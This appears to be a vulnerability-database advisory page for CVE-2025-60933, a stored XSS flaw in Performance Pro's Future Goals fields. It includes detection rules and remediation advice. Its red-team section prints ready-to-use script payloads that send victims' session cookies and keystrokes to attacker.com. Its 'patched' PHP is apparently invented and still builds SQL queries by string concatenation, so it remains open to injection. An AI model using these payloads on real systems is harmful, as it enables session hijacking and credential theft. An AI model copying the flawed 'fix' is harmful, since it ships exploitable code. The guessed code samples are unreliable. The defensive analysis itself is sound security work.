CVE-2025-60933
Executive Summary
CVE-2025-60933 is a critical stored cross-site scripting (XSS) vulnerability affecting HR Performance Solutions Performance Pro v3.19.17 and earlier versions. The vulnerability resides in the Future Goals function, where multiple input fields—Goal Name, Goal Notes, Action Step Name, Action Step Description, Note Name, and Goal Description—fail to properly sanitize user-supplied input. An authenticated attacker with low privileges can inject arbitrary web scripts or HTML, which are then stored and executed in the context of other users' browsers when they view the affected goals. This can lead to session hijacking, credential theft, or further compromise within the HR application. The vendor has released a patched version, PP-Release-6.3.2.0, which addresses the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary web application. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid user account.
- User Interaction (UI): Required (R) – Victim must view the malicious goal.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the sensitivity of HR data elevate the risk. An attacker can persistently target HR managers and employees.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the Future Goals module of Performance Pro. The application stores user input from the following fields without proper encoding or validation:
- Goal Name
- Goal Notes
- Action Step Name
- Action Step Description
- Note Name
- Goal Description
When an administrator or another user views the goal (e.g., via the goal review or dashboard), the injected script executes in their browser. The attack flow is:
- Attacker logs in with low-privileged credentials.
- Attacker creates or edits a goal, injecting a malicious payload (e.g.,
<script>alert('XSS')</script>) into one of the vulnerable fields. - The payload is stored in the database.
- When a victim (e.g., HR manager) navigates to the goal, the server returns the unescaped payload.
- The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to phishing pages.
The patched version (PP-Release-6.3.2.0) likely implements output encoding (e.g., HTML entity encoding) and input validation to neutralize script tags.
Vulnerable vs. Patched Code
Vulnerable Code (v3.19.17):
// In goal_save.php or similar
$goal_name = $_POST['goal_name'];
// Directly stored without sanitization
$query = "INSERT INTO goals (name) VALUES ('$goal_name')";
mysqli_query($conn, $query);
<!-- In goal_view.php -->
<div class="goal-name"><?php echo $row['name']; ?></div>
Patched Code (v6.3.2.0):
// In goal_save.php
$goal_name = htmlspecialchars($_POST['goal_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO goals (name) VALUES ('$goal_name')";
mysqli_query($conn, $query);
<!-- In goal_view.php -->
<div class="goal-name"><?php echo htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8'); ?></div>
The patched version uses htmlspecialchars() to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid low-privileged account on Performance Pro v3.19.17.
- Access to the Future Goals module.
Exploit Steps:
- Log in to the application.
- Navigate to "Future Goals" and create a new goal.
- In the "Goal Name" field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the goal.
- Wait for an HR manager or admin to view the goal. The script will execute, sending their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor web application logs for unusual input patterns in goal-related parameters (e.g.,
<script>,onerror=,javascript:). - Use WAF rules to block common XSS payloads in POST requests to goal creation/editing endpoints.
- Deploy CSP headers to restrict script execution.
Hunting:
- Search database for stored XSS patterns in goal fields.
- Review HTTP Referer headers for unexpected outbound requests from the application.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the application server.
- Suspicious parameters in POST requests to
/goals/saveor similar endpoints containing<script>tags.
- Host:
- Database entries in the
goalstable containing unescaped HTML/JavaScript. - Web server logs showing
200responses to goal view pages with injected scripts.
- Database entries in the
- File:
- No file-based IOCs; this is a server-side stored XSS.
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_Payloads {
meta:
description = "Detects common stored XSS payloads in web application logs or database dumps"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60933"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Performance Pro Future Goals
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in Performance Pro goal fields
author: Valters IT
logsource:
category: web
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'goal_name='
- 'goal_notes='
- 'action_step_name='
- 'action_step_description='
- 'note_name='
- 'goal_description='
cs-uri-query|re: '(<script|<img|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate use of HTML in goal descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60933 Stored XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/goals/save"; http_uri; pcre:"/(<script|<img|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade to Performance Pro PP-Release-6.3.2.0 or later.
- Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce input validation and output encoding on all user-supplied data.
- Long-term:
- Conduct regular security code reviews and penetration testing.
- Adopt a secure development lifecycle (SDLC) with automated SAST/DAST tools.
- Monitoring:
- Review web server logs for signs of exploitation.
- Monitor database for stored XSS patterns.
Valters IT